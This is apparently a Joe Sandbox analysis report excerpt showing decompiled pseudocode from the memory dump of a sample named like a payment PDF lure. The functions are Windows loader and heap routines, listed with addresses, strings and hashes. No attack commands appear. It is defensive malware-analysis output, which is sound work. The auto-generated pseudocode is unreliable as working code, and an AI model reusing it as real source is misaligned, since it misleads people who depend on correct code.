																											if( *((intOrPtr*)(_t280 - 0x424)) != 0) {
																												 *((intOrPtr*)(_t280 - 0x468)) = _t280 - 0xc8;
																												 *((short*)(_t280 - 0x46a)) = 0xac;
																												_t267 = E33495A40(_t260, _t182 & 0x0000ffff, _t280 - 0x46c, "true", 0);
																												 *((intOrPtr*)(_t280 - 0x41c)) = _t267;
																												if(_t267 < 0) {
																													goto L85;
																												} else {
																													_t218 = _t280 - 0xc8;
																													_t239 = _t218 + 2;
																													do {
																														_t185 =  *_t218;
																														_t218 = _t218 + 2;
																													} while (_t185 != 0);
																													_t220 = _t218 - _t239 >> 1;
																													_t235 =  *((intOrPtr*)(_t280 - 0x434));
																													goto L81;
																												}
																											} else {
																												_t220 = 0;
																												L81:
																												 *(_t280 - 4) = _t271;
																												if(_t220 >=  *_t235) {
																													L84:
																													 *_t235 = _t220 + 1;
																													_t267 = 0xc0000023;
																													 *((intOrPtr*)(_t280 - 0x41c)) = 0xc0000023;
																													 *(_t280 - 4) = 0xfffffffe;
																													L85:
																													_t147 =  *(_t280 - 0x420);
																													goto L61;
																												} else {
																													_t187 =  *((intOrPtr*)(_t280 - 0x444));
																													if( *((intOrPtr*)(_t280 - 0x444)) == 0) {
																														goto L84;
																													} else {
																														_t279 = _t220 + _t220;
																														L334B88C0(_t187, _t280 - 0xc8, _t279);
																														 *((intOrPtr*)( *((intOrPtr*)(_t280 - 0x434)))) = _t220 + 1;
																														 *((short*)(_t279 +  *((intOrPtr*)(_t280 - 0x444)))) = 0;
																														 *(_t280 - 4) = 0xfffffffe;
																														goto L59;
																													}
																												}
																											}
																										}
																									}
																								} else {
																									 *((short*)(_t280 - 0x418)) = 0;
																									_t193 =  *( *((intOrPtr*)(_t280 - 0x440)) + 8) & 0x0000ffff;
																									_t243 =  *(_t280 - 0x430);
																									if(( *(_t280 - 0x430) & 0x00000020) == 0) {
																										_t267 = E3347A2E0(0, 0, _t193, _t243, _t280 - 0x418);
																										 *((intOrPtr*)(_t280 - 0x41c)) = _t267;
																										if(_t267 >= 0 ||  *(_t280 - 0x42c) == 0) {
																											goto L73;
																										} else {
																											goto L59;
																										}
																									} else {
																										 *((short*)(_t280 - 0x418)) = 1;
																										 *((short*)(_t280 - 0x414)) = 0;
																										goto L73;
																									}
																								}
																							}
																						}
																						goto L93;
																					} else {
																						L58:
																						_t267 = 0xc000007b;
																						 *((intOrPtr*)(_t280 - 0x41c)) = 0xc000007b;
																						goto L59;
																					}
																				}
																			} else {
																				_t267 = 0xc0000017;
																				 *((intOrPtr*)(_t280 - 0x41c)) = 0xc0000017;
																				L60:
																				_t271 = 0;
																			}
																		} else {
																			_t271 = 0;
																			goto L46;
																		}
																	} else {
																		L46:
																		_t267 = 0xc000007b;
																		 *((intOrPtr*)(_t280 - 0x41c)) = 0xc000007b;
																		_t147 = _t271;
																	}
																	L61:
																	_t213 = 0x7ffe0384;
																	goto L62;
																} else {
																	_t150 = 0xc0000089;
																}
															}
														}
													} else {
														L30:
														_t267 = 0xc0000089;
														goto L16;
													}
												} else {
													goto L15;
												}
											}
										}
									}
								} else {
									if(E334694A3(_t269, 0xf8, _t280 - 0x448) < 0 || _t269 > 0x10000000) {
										goto L15;
									} else {
										_t204 = _t269 + 0xf8;
										if(_t204 <= _t269 || _t204 >=  *((intOrPtr*)(_t280 - 0x45c))) {
											goto L15;
										} else {
											goto L22;
										}
									}
								}
							} else {
								L15:
								_t267 = 0xc000007b;
								L16:
								 *((intOrPtr*)(_t280 - 0x41c)) = _t267;
								_t147 = _t271;
								L62:
								if(_t147 != 0) {
									E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t271, _t147);
									_t267 =  *((intOrPtr*)(_t280 - 0x41c));
								}
								if(L33483C40() == 0) {
									_t149 = 0x7ffe0385;
								} else {
									_t149 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
									_t267 =  *((intOrPtr*)(_t280 - 0x41c));
								}
								if(( *_t149 & 0x00000001) != 0) {
									if(L33483C40() != 0) {
										_t213 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
										_t267 =  *((intOrPtr*)(_t280 - 0x41c));
									}
									L334FFC01(_t280 - 0x464,  *_t213 & 0x000000ff);
								}
								_t150 = _t267;
							}
						}
					}
				}
				L93:
				 *[fs:0x0] =  *((intOrPtr*)(_t280 - 0x10));
				return _t150;
			}

0x33503608
0x3350360d
0x33503612
0x33503617
0x3350361d
0x3350361f
0x33503628
0x33503631
0x3350363a
0x33503643
0x3350364c
0x33503654
0x33503655
0x3350365e
0x3350365f
0x33503666
0x33503672
0x33503673
0x3350367a
0x33503681
0x3350368f
0x33503699
0x335036a8
0x335036ba
0x335036aa
0x335036b3
0x335036b3
0x335036c2
0x335036f4
0x335036c4
0x335036c4
0x335036c9
0x335036d0
0x335036e2
0x335036d2
0x335036db
0x335036db
0x335036ed
0x335036ed
0x335036fb
0x33503be3
0x00000000
0x3350370a
0x33503715
0x33503723
0x3350372a
0x33503745
0x3350374c
0x3350375e
0x33503772
0x3350377e
0x335037b1
0x335037c5
0x335037cc
0x335037dc
0x00000000
0x335037de
0x335037ea
0x33503862
0x00000000
0x33503886
0x3350388d
0x00000000
0x33503897
0x33503897
0x335038a1
0x00000000
0x335038b5
0x335038b5
0x00000000
0x335038b5
0x335038a1
0x3350388d
0x335037ec
0x335037ec
0x335037ef
0x335037f9
0x33503820
0x33503832
0x00000000
0x33503834
0x33503834
0x3350383e
0x00000000
0x3350384e
0x3350384e
0x335038bb
0x335038bd
0x335038c9
0x335038d3
0x335038ea
0x335038fd
0x3350390f
0x33503914
0x3350391a
0x33503922
0x33503932
0x33503950
0x33503952
0x3350395a
0x3350399d
0x3350399d
0x00000000
0x3350395c
0x3350395c
0x3350395e
0x33503964
0x33503966
0x3350396f
0x33503971
0x33503980
0x33503983
0x33503986
0x00000000
0x00000000
0x00000000
0x33503986
0x33503988
0x33503988
0x33503990
0x335039f0
0x335039f2
0x00000000
0x335039f4
0x335039f6
0x33503a03
0x33503a05
0x33503a0d
0x00000000
0x33503a0f
0x33503a13
0x33503a73
0x33503a75
0x33503ab9
0x33503ac2
0x33503ac4
0x33503acc
0x00000000
0x33503ad2
0x33503ad2
0x33503ada
0x00000000
0x33503ae0
0x33503ae0
0x33503ae7
0x33503aec
0x33503af8
0x33503b03
0x33503b1d
0x33503b1f
0x33503b27
0x00000000
0x33503b29
0x33503b29
0x33503b2f
0x33503b32
0x33503b32
0x33503b35
0x33503b38
0x33503b3f
0x33503b41
0x00000000
0x33503b41
0x33503aee
0x33503aee
0x33503b47
0x33503b47
0x33503b4c
0x33503b8f
0x33503b92
0x33503b94
0x33503b99
0x33503b9f
0x33503ba6
0x33503ba6
0x00000000
0x33503b4e
0x33503b4e
0x33503b56
0x00000000
0x33503b58
0x33503b58
0x33503b64
0x33503b75
0x33503b7f
0x33503b83
0x00000000
0x33503b83
0x33503b56
0x33503b4c
0x33503aec
0x33503ada
0x33503a15
0x33503a17
0x33503a24
0x33503a28
0x33503a31
0x33503a5a
0x33503a5c
0x33503a64
0x00000000
0x00000000
0x00000000
0x00000000
0x33503a33
0x33503a36
0x33503a3f
0x00000000
0x33503a3f
0x33503a31
0x33503a13
0x33503a0d
0x00000000
0x33503992
0x33503992
0x33503992
0x33503997
0x00000000
0x33503997
0x33503990
0x33503924
0x33503924
0x33503929
0x335039a3
0x335039a3
0x335039a3
0x335038ff
0x335038ff
0x00000000
0x335038ff
0x335038d5
0x335038d5
0x335038d5
0x335038da
0x335038e0
0x335038e0
0x335039a5
0x335039a5
0x00000000
0x335038bf
0x335038bf
0x335038bf
0x335038bd
0x3350383e
0x33503822
0x33503822
0x33503822
0x00000000
0x33503822
0x00000000
0x00000000
0x00000000
0x335037f9
0x335037ea
0x335037dc
0x33503780
0x33503795
0x00000000
0x3350379f
0x3350379f
0x335037a7
0x00000000
0x00000000
0x00000000
0x00000000
0x335037a7
0x33503795
0x33503760
0x33503760
0x33503760
0x33503765
0x33503765
0x3350376b
0x335039aa
0x335039ac
0x335039b9
0x335039be
0x335039be
0x335039cb
0x33503bed
0x335039d1
0x335039da
0x335039df
0x335039df
0x33503bf5
0x33503bfe
0x33503c09
0x33503c0f
0x33503c0f
0x33503c1e
0x33503c1e
0x33503c23
0x33503c23
0x3350375e
0x3350374c
0x3350372a
0x33503c25
0x33503c28
0x33503c34

Strings

LdrpResSearchResourceHandle Enter, xrefs: 33503666
PE, xrefs: 335037D2
LdrpResSearchResourceHandle Exit, xrefs: 33503681

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: LdrpResSearchResourceHandle Enter$LdrpResSearchResourceHandle Exit$PE
API String ID: 0-1168191160
Opcode ID: cfaac42c07e783e66fbeb8f3a5de4bfe0306b94afe98b23c66f7e26295218936
Instruction ID: f0e640b017d217f3578d54830e70e6e404f6388b42a93995e3a8342e49d08c69
Opcode Fuzzy Hash: cfaac42c07e783e66fbeb8f3a5de4bfe0306b94afe98b23c66f7e26295218936
Instruction Fuzzy Hash: E7F171B5A013288BDB20CF18DC90BD9B3B5FF54754F4844E9E949A7240EB329E85CF99

Uniqueness

Uniqueness Score: -1.00%

Function 33471380 Relevance: 4.1, Strings: 3, Instructions: 385
COMMONCrypto

Download Yara Rule

C-Code - Quality: 79%

			E33471380(signed int __ecx, unsigned int __edx, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				unsigned int _v24;
				signed int _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t167;
				signed int _t176;
				signed short _t181;
				intOrPtr _t182;
				signed int _t184;
				signed int _t185;
				signed int _t189;
				intOrPtr _t192;
				signed int _t193;
				char _t195;
				signed int _t198;
				signed int _t204;
				void* _t208;
				signed int _t209;
				signed int _t211;
				short _t218;
				intOrPtr _t219;
				signed short _t226;
				signed short _t229;
				signed int _t231;
				signed int _t233;
				signed int _t235;
				intOrPtr _t236;
				intOrPtr _t246;
				signed int _t250;
				signed int _t253;
				signed int _t260;
				signed int _t262;
				void* _t264;
				intOrPtr* _t265;
				signed char _t267;
				signed char _t268;
				signed int _t270;
				signed int _t271;
				signed int _t272;
				signed int _t274;
				signed int _t276;
				signed int _t287;
				void* _t288;
				unsigned int _t296;
				void* _t299;
				signed int _t303;
				signed short _t306;
				signed short* _t307;
				signed int _t309;
				char _t311;
				signed int _t312;
				signed int _t313;
				signed int _t315;
				void* _t317;
				signed char _t318;
				signed short* _t327;
				signed int _t329;
				signed int _t330;
				signed short* _t331;
				signed int _t333;

				_t167 = _a12;
				_t260 = __ecx;
				_v24 = __edx;
				_t331 = _a4;
				_v12 = _t167;
				if(_t167 >  *((intOrPtr*)(__ecx + 0x5c))) {
					L7:
					return 0;
				}
				_v5 = _t331[1];
				_t327 = _t331 + ( *_t331 & 0x0000ffff) * 8;
				if((( *(__ecx + 0x4c) >> 0x00000014 &  *(__ecx + 0x52) ^ _t327[1]) & 0x00000001) != 0) {
					goto L7;
				}
				if( *(__ecx + 0x4c) != 0) {
					 *_t327 =  *_t327 ^  *(__ecx + 0x50);
					if(_t327[1] != (_t327[0] ^ _t327[1] ^  *_t327)) {
						_push(__ecx);
						E3352D646(__ecx, __ecx, _t327, _t327, _t331, __eflags);
					}
				}
				_t262 =  *_t327 & 0x0000ffff;
				_t176 = ( *_t331 & 0x0000ffff) + _t262;
				_v28 = _t176;
				if(_t176 < _v12) {
					__eflags =  *(_t260 + 0x4c);
					if( *(_t260 + 0x4c) != 0) {
						_t327[1] = _t327[0] ^ _t327[1] ^  *_t327;
						 *_t327 =  *_t327 ^  *(_t260 + 0x50);
					}
					goto L7;
				}
				_t181 = _t327[4];
				_t306 = _t327[6];
				_v20 = _t181;
				_v16 = _t306;
				_t182 =  *((intOrPtr*)(_t181 + 4));
				_t27 =  &(_t327[4]); // 0x10
				_t307 = _t27;
				if( *_t306 == _t182) {
					__eflags =  *_v16 - _t307;
					_t333 = _a4;
					if( *_v16 != _t307) {
						goto L6;
					}
					 *((intOrPtr*)(_t260 + 0x74)) =  *((intOrPtr*)(_t260 + 0x74)) - _t262;
					_t309 =  *(_t260 + 0xb4);
					__eflags = _t309;
					if(_t309 == 0) {
						L17:
						_t265 = _v16;
						_t184 = _v20;
						 *_t265 = _t184;
						 *((intOrPtr*)(_t184 + 4)) = _t265;
						__eflags = _t327[1] & 0x00000008;
						if((_t327[1] & 0x00000008) != 0) {
							_t185 = E3346F5C7(_t260, _t327);
							__eflags = _t185;
							if(_t185 != 0) {
								goto L18;
							}
							E3346F113(_t260, _t327,  *_t327 & 0x0000ffff, "true");
							goto L7;
						}
						L18:
						_t267 = _t327[1];
						_t311 = 0;
						__eflags = _t267 & 0x00000004;
						if((_t267 & 0x00000004) == 0) {
							L24:
							_t268 =  *((intOrPtr*)(_t333 + 7));
							_t329 = ( *_t333 & 0x0000ffff) << 3;
							_v20 = _t327[1];
							__eflags = _t268 - 5;
							if(_t268 == 5) {
								_t270 =  *(_t260 + 0x54) & 0x0000ffff ^  *(_t333 + 4) & 0x0000ffff;
							} else {
								__eflags = _t268 & 0x00000040;
								if((_t268 & 0x00000040) != 0) {
									_t270 =  *(_t333 + 4 + (_t268 & 0x3f) * 8) & 0x0000ffff;
								} else {
									__eflags = (_t268 & 0x0000003f) - 0x3f;
									if((_t268 & 0x0000003f) == 0x3f) {
										__eflags = _t268;
										if(_t268 >= 0) {
											__eflags =  *(_t260 + 0x4c) - _t311;
											if( *(_t260 + 0x4c) == _t311) {
												_t226 =  *_t333 & 0x0000ffff;
											} else {
												_t229 =  *_t333;
												__eflags =  *(_t260 + 0x4c) & _t229;
												if(( *(_t260 + 0x4c) & _t229) != 0) {
													_t229 = _t229 ^  *(_t260 + 0x50);
													__eflags = _t229;
												}
												_t226 = _t229 & 0x0000ffff;
											}
										} else {
											_t296 = _t333 >> 0x00000003 ^  *_t333 ^  *0x33566964 ^ _t260;
											__eflags = _t296;
											if(_t296 == 0) {
												_t231 = _t333 - (_t296 >> 0xd);
												__eflags = _t231;
												_t311 =  *_t231;
											}
											_t226 =  *((intOrPtr*)(_t311 + 0x14));
										}
										_t270 =  *(_t333 + (_t226 & 0xffff) * 8 - 4);
									} else {
										_t270 = _t268 & 0x3f;
										__eflags = _t270;
									}
								}
							}
							_t312 = _v12;
							_t330 = _t329 - _t270;
							_t271 = _v28;
							_t189 = _t271 - _t312;
							__eflags = _t189 - 2;
							if(_t189 <= 2) {
								_t312 = _t271;
								_v12 = _t312;
							}
							_push("true");
							_pop(_t272);
							__eflags = _t272 - _t189;
							asm("sbb ecx, ecx");
							__eflags = _v5 & 0x00000002;
							_v16 = _t272 & _t189;
							if((_v5 & 0x00000002) != 0) {
								_t274 =  *_t333 & 0x0000ffff;
								 *((intOrPtr*)(_t333 + _t312 * 8 - 8)) =  *((intOrPtr*)(_t333 + _t274 * 8 - 8));
								 *((intOrPtr*)(_t333 + _t312 * 8 - 4)) =  *((intOrPtr*)(_t333 + _t274 * 8 - 4));
								_t192 =  *[fs:0x30];
								__eflags =  *(_t192 + 0x68) & 0x00000800;
								if(( *(_t192 + 0x68) & 0x00000800) == 0) {
									goto L31;
								}
								_t218 = E33519AFE(_t260,  *((intOrPtr*)(_t333 + _t312 * 8 - 6)),  *_t333 & 0x0000ffff, _t312, "true");
								_t313 = _v12;
								 *((short*)(_t333 + _t313 * 8 - 6)) = _t218;
								goto L32;
							} else {
								_t219 =  *[fs:0x30];
								__eflags =  *(_t219 + 0x68) & 0x00000800;
								if(( *(_t219 + 0x68) & 0x00000800) != 0) {
									 *(_t333 + 3) = E33519AFE(_t260,  *(_t333 + 3) & 0x000000ff,  *_t333 & 0x0000ffff, _t312, "true");
								}
								L31:
								_t313 = _v12;
								L32:
								_t193 = _t313 & 0x0000ffff;
								_t276 = _t313 << 3;
								_v12 = _t193;
								 *_t333 = _t193;
								_t195 = _t276 - _a8;
								__eflags = _v16;
								if(_v16 == 0) {
									 *(_t333 + 2) =  *(_t333 + 2) | _v20;
									__eflags = _t195 - 0x3f;
									if(_t195 >= 0x3f) {
										 *((intOrPtr*)(_t276 + _t333 - 4)) = _t195;
										 *((char*)(_t333 + 7)) = 0x3f;
									} else {
										 *((char*)(_t333 + 7)) = _t195;
									}
									 *(_t333 + 4 + ( *_t333 & 0x0000ffff) * 8) =  *(_t260 + 0x54) ^  *_t333 & 0x0000ffff;
								} else {
									_t288 = _t276 + _t333;
									__eflags = _t195 - 0x3f;
									if(_t195 >= 0x3f) {
										 *((intOrPtr*)(_t288 - 4)) = _t195;
										 *((char*)(_t333 + 7)) = 0x3f;
									} else {
										 *((char*)(_t333 + 7)) = _t195;
									}
									_t318 =  *((intOrPtr*)(_t333 + 6));
									_t211 =  *(_t260 + 0x40) & 0x00000040;
									_v28 = _t211;
									__eflags = _t318;
									if(_t318 == 0) {
										_t319 = _t260;
									} else {
										_t211 = _v28;
										_t319 = (_t333 & 0xffff0000) - ((_t318 & 0x000000ff) << 0x10) + 0x10000;
										__eflags = (_t333 & 0xffff0000) - ((_t318 & 0x000000ff) << 0x10) + 0x10000;
									}
									_t211 = _t211 != 0;
									L3347170C(_t260, _t319, _t288, _v20, (_t211 & 0xffffff00 | _t211 != 0x00000000) & 0x000000ff, _v12, _v16);
								}
								__eflags = _v24 & 0x00000008;
								_t315 = _a8;
								if((_v24 & 0x00000008) != 0) {
									__eflags = _t315 - _t330;
									if(_t315 < _t330) {
										_t330 = _t315;
									}
									L3346EACC(_t260, _t333 + 8, _t330);
									goto L40;
								} else {
									__eflags =  *(_t260 + 0x40) & 0x00000040;
									if(( *(_t260 + 0x40) & 0x00000040) != 0) {
										_t287 = _t330 & 0x00000003;
										__eflags = _t287;
										if(_t287 != 0) {
											_push("true");
											_pop(_t208);
											_t209 = _t208 - _t287;
											__eflags = _t209;
											_t287 = _t209;
										}
										_t198 = _a8;
										_t317 = _t287 + _t330;
										__eflags = _t198 - _t317;
										if(_t198 <= _t317) {
											L41:
											__eflags =  *(_t260 + 0x40) & 0x00000020;
											if(( *(_t260 + 0x40) & 0x00000020) != 0) {
												 *((intOrPtr*)(_t333 + _t198 + 8)) = 0xabababab;
												 *((intOrPtr*)(_t333 + _t198 + 0xc)) = 0xabababab;
											}
											 *(_t333 + 2) = (_v24 >> 0x00000004 ^  *(_t333 + 2)) & 0x0000001f ^ _v24 >> 0x00000004;
											return 1;
										} else {
											_t204 = _t198 - _t287 - _t330 & 0xfffffffc;
											__eflags = _t204;
											if(_t204 != 0) {
												E334C8140(_t333 + 8 + _t317, _t204, 0xbaadf00d);
											}
											goto L40;
										}
									}
									L40:
									_t198 = _a8;
									goto L41;
								}
							}
						}
						_t233 = ( *_t327 & 0x0000ffff) * 8 - 0x10;
						_v16 = _t233;
						__eflags = _t267 & 0x00000002;
						if((_t267 & 0x00000002) != 0) {
							_push("true");
							_pop(_t299);
							__eflags = _t233 - _t299;
							if(_t233 > _t299) {
								_v16 = _t233;
							}
						}
						_t50 =  &(_t327[8]); // 0x18
						_t235 = E334C80A0(_t50, _t233, 0xfeeefeee);
						_v20 = _t235;
						__eflags = _t235 - _v16;
						if(_t235 == _v16) {
							L23:
							_t311 = 0;
							__eflags = 0;
							goto L24;
						} else {
							_t236 =  *[fs:0x30];
							__eflags =  *(_t236 + 0xc);
							if( *(_t236 + 0xc) != 0) {
								__eflags =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c;
								L3346B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							} else {
								_push("HEAP: ");
								L3346B910();
							}
							_push(_v20 + 0x10 + _t327);
							L3346B910("HEAP: Free Heap block %p modified at %p after it was freed\n", _t327);
							_t246 =  *[fs:0x30];
							__eflags =  *((char*)(_t246 + 2));
							if( *((char*)(_t246 + 2)) == 0) {
								goto L23;
							} else {
								 *0x335647a1 = 1;
								asm("int3");
								_t311 = 0;
								 *0x335647a1 = 0;
								goto L24;
							}
						}
					} else {
						_t303 =  *_t327 & 0x0000ffff;
						while(1) {
							__eflags = _t303 -  *((intOrPtr*)(_t309 + 4));
							if(_t303 <  *((intOrPtr*)(_t309 + 4))) {
								_t250 = _t303;
								break;
							}
							_t253 =  *_t309;
							__eflags = _t253;
							if(_t253 == 0) {
								_t250 =  *((intOrPtr*)(_t309 + 4)) - 1;
								break;
							} else {
								_t309 = _t253;
								continue;
							}
						}
						_t35 =  &(_t327[4]); // 0x10
						E3348036A(_t260, _t309, "true", _t35, _t250, _t303);
						goto L17;
					}
				}
				L6:
				_push(0);
				_push( *_v16);
				_push(_t182);
				_push(_t307);
				_t264 = 0xd;
				L33535FED(_t264, _t260);
				goto L7;
			}

0x33471388
0x3347138c
0x3347138e
0x33471392
0x33471396
0x3347139c
0x33471413
0x00000000
0x33471413
0x334713a1
0x334713a7
0x334713b8
0x00000000
0x00000000
0x334713be
0x334713c3
0x334713d0
0x334cf4c9
0x334cf4cc
0x334cf4cc
0x334713d0
0x334713d6
0x334713dc
0x334713de
0x334713e4
0x33471603
0x33471607
0x33471615
0x3347161b
0x3347161b
0x00000000
0x33471607
0x334713ea
0x334713ed
0x334713f0
0x334713f3
0x334713f6
0x334713fb
0x334713fb
0x334713fe
0x3347141f
0x33471421
0x33471424
0x00000000
0x00000000
0x33471426
0x33471429
0x3347142f
0x33471431
0x3347145a
0x3347145a
0x3347145d
0x33471460
0x33471462
0x33471465
0x33471469
0x3347167e
0x33471683
0x33471685
0x00000000
0x00000000
0x334cf4e0
0x00000000
0x334cf4e0
0x3347146f
0x3347146f
0x33471472
0x33471474
0x33471477
0x334714c7
0x334714cd
0x334714d0
0x334714d3
0x334714d6
0x334714d9
0x334cf4f2
0x334714df
0x334714df
0x334714e2
0x334cf4ff
0x334714e8
0x334714ec
0x334714ee
0x334cf509
0x334cf50b
0x334cf530
0x334cf533
0x334cf544
0x334cf535
0x334cf535
0x334cf537
0x334cf53a
0x334cf53c
0x334cf53c
0x334cf53c
0x334cf53f
0x334cf53f
0x334cf50d
0x334cf51a
0x334cf51c
0x334cf51f
0x334cf526
0x334cf526
0x334cf528
0x334cf528
0x334cf52a
0x334cf52a
0x334cf54d
0x334714f4
0x334714f7
0x334714f7
0x334714f7
0x334714ee
0x334714e2
0x334714fa
0x334714fd
0x334714ff
0x33471504
0x33471506
0x33471509
0x334716a4
0x334716a6
0x334716a6
0x3347150f
0x33471511
0x33471512
0x33471514
0x33471518
0x3347151c
0x3347151f
0x334716dd
0x334716e4
0x334716ec
0x334716f0
0x334716f6
0x334716fd
0x00000000
0x00000000
0x334cf564
0x334cf569
0x334cf56c
0x00000000
0x33471525
0x33471525
0x3347152b
0x33471532
0x334cf588
0x334cf588
0x33471538
0x33471538
0x3347153b
0x3347153b
0x33471540
0x33471543
0x33471546
0x3347154b
0x3347154e
0x33471552
0x334716b1
0x334716b4
0x334716b7
0x334cf590
0x334cf594
0x334716bd
0x334716bd
0x334716bd
0x334716ca
0x33471558
0x33471558
0x3347155a
0x3347155d
0x334cf59d
0x334cf5a0
0x33471563
0x33471563
0x33471563
0x33471569
0x3347156c
0x3347156f
0x33471572
0x33471574
0x334715ea
0x33471576
0x33471586
0x33471589
0x33471589
0x33471589
0x33471597
0x334715a4
0x334715a4
0x334715a9
0x334715ad
0x334715b0
0x33471690
0x33471692
0x33471708
0x33471708
0x3347169a
0x00000000
0x334715b6
0x334715b6
0x334715ba
0x334cf5ab
0x334cf5ab
0x334cf5ae
0x334cf5b0
0x334cf5b2
0x334cf5b3
0x334cf5b3
0x334cf5b5
0x334cf5b5
0x334cf5b7
0x334cf5ba
0x334cf5bd
0x334cf5bf
0x334715c3
0x334715c3
0x334715c7
0x334cf5ed
0x334cf5f1
0x334cf5f1
0x334715e2
0x00000000
0x334cf5c5
0x334cf5c9
0x334cf5c9
0x334cf5cc
0x334cf5de
0x334cf5de
0x00000000
0x334cf5cc
0x334cf5bf
0x334715c0
0x334715c0
0x00000000
0x334715c0
0x334715b0
0x3347151f
0x3347147c
0x33471483
0x33471486
0x33471489
0x334715ee
0x334715f0
0x334715f1
0x334715f3
0x334715fb
0x334715fb
0x334715f3
0x33471495
0x33471499
0x3347149e
0x334714a1
0x334714a4
0x334714c5
0x334714c5
0x334714c5
0x00000000
0x334714a6
0x334714a6
0x334714ac
0x334714b0
0x3347162e
0x33471637
0x334714b6
0x334714b6
0x334714bb
0x334714bb
0x33471646
0x3347164d
0x33471652
0x3347165b
0x3347165f
0x00000000
0x33471665
0x33471665
0x3347166c
0x3347166d
0x3347166f
0x00000000
0x3347166f
0x3347165f
0x33471433
0x33471433
0x33471436
0x33471436
0x33471439
0x33471449
0x33471449
0x33471449
0x3347143b
0x3347143d
0x3347143f
0x334716d7
0x00000000
0x33471445
0x33471445
0x00000000
0x33471445
0x3347143f
0x3347144d
0x33471455
0x00000000
0x33471455
0x33471431
0x33471400
0x33471403
0x33471405
0x33471407
0x33471408
0x3347140d
0x3347140e
0x00000000

Strings

HEAP: , xrefs: 334714B6
HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 33471648
HEAP[%wZ]: , xrefs: 33471632

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: ad627cf055a3dcde06be27f1e30c8087849d8e319e3353399ccf5604ee34be13
Instruction ID: 9b1706282739d7e7a8790251c3b88441068f34cc515fbff9b51812db2f0cdf27
Opcode Fuzzy Hash: ad627cf055a3dcde06be27f1e30c8087849d8e319e3353399ccf5604ee34be13
Instruction Fuzzy Hash: 0DE1E074A043859FE718CF28C4406BABBF5AF48344F18895DE5E68B346E734E945CB58

Uniqueness

Uniqueness Score: -1.00%

Function 334F330C Relevance: 4.0, Strings: 3, Instructions: 292
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E334F330C(signed int __ecx, intOrPtr __edx) {
				signed int _v8;
				char _v268;
				char _v396;
				char _v420;
				char _v1420;
				char _v1428;
				signed int _v1432;
				signed int _v1436;
				intOrPtr _v1440;
				signed int* _v1444;
				signed int _v1448;
				char _v1452;
				signed int _v1456;
				signed int _v1460;
				char _v1468;
				void* _v1472;
				signed int _v1476;
				char _v1480;
				signed int _v1484;
				signed int _v1488;
				short _v1490;
				signed int _v1492;
				char _v1496;
				char _v1500;
				char _v1516;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t89;
				signed int _t96;
				void* _t101;
				char* _t107;
				intOrPtr* _t108;
				intOrPtr* _t109;
				intOrPtr* _t110;
				intOrPtr* _t111;
				intOrPtr _t118;
				intOrPtr _t124;
				intOrPtr _t131;
				signed int _t135;
				void* _t136;
				signed int _t137;
				signed int _t138;
				signed int _t139;
				signed int _t143;
				signed int _t144;
				void* _t148;
				signed int _t149;
				intOrPtr _t150;
				intOrPtr* _t151;
				void* _t152;
				void* _t156;
				signed int _t158;
				signed int _t160;
				char _t162;
				signed int _t163;
				signed int _t164;
				signed int _t166;

				_t146 = __edx;
				_t140 = __ecx;
				_t166 = (_t164 & 0xfffffff8) - 0x5d4;
				_v8 =  *0x3356b370 ^ _t166;
				_t135 = __ecx;
				_v1476 = __ecx;
				if( *0x335669b4 == 0) {
					_t74 = 0xc0000034;
					__eflags = __ecx;
					if(__ecx == 0) {
						goto L54;
					}
					_t74 = L33491D10( &_v1468, L"DelegatedNtdll");
					__eflags = 0xc0000034;
					if(0xc0000034 < 0) {
						goto L54;
					}
					_push( &_v1496);
					_push(0x400);
					_t149 =  &_v1420;
					_push(_t149);
					_push("true");
					_push( &_v1468);
					_push(_t135);
					_t74 = E334B2B00();
					_t158 = 0xc0000034;
					__eflags = 0xc0000034;
					if(0xc0000034 < 0) {
						__eflags = 0xc0000034 - 0x80000005;
						if(0xc0000034 != 0x80000005) {
							L28:
							__eflags = _t158;
							if(_t158 < 0) {
								goto L54;
							}
							_v1492 = _v1492 & 0x00000000;
							_v1490 = 0x100;
							_v1488 =  &_v268;
							L3347FE40(_t140,  &_v1492, L"\\SystemRoot\\system32\\");
							E334A6140( &_v1500, "true", 0x14c, "true");
							_t74 = L3347FE40(_t140,  &_v1516,  &_v420);
							__eflags = _t74;
							if(_t74 < 0) {
								goto L54;
							}
							_v1448 = _v1448 & 0x00000000;
							_v1436 = _v1436 & 0x00000000;
							_v1432 = _v1432 & 0x00000000;
							_v1444 =  &_v1492;
							_t89 =  *[fs:0x30];
							_v1452 = 0x18;
							_v1440 = 0x40;
							__eflags =  *(_t89 + 0x68) & 0x00040000;
							if(( *(_t89 + 0x68) & 0x00040000) != 0) {
								_push(0);
								_push(0);
								_v1460 = _v1492;
								_push(0);
								_v1456 = _v1488;
								_push("true");
								_push( &_v1460);
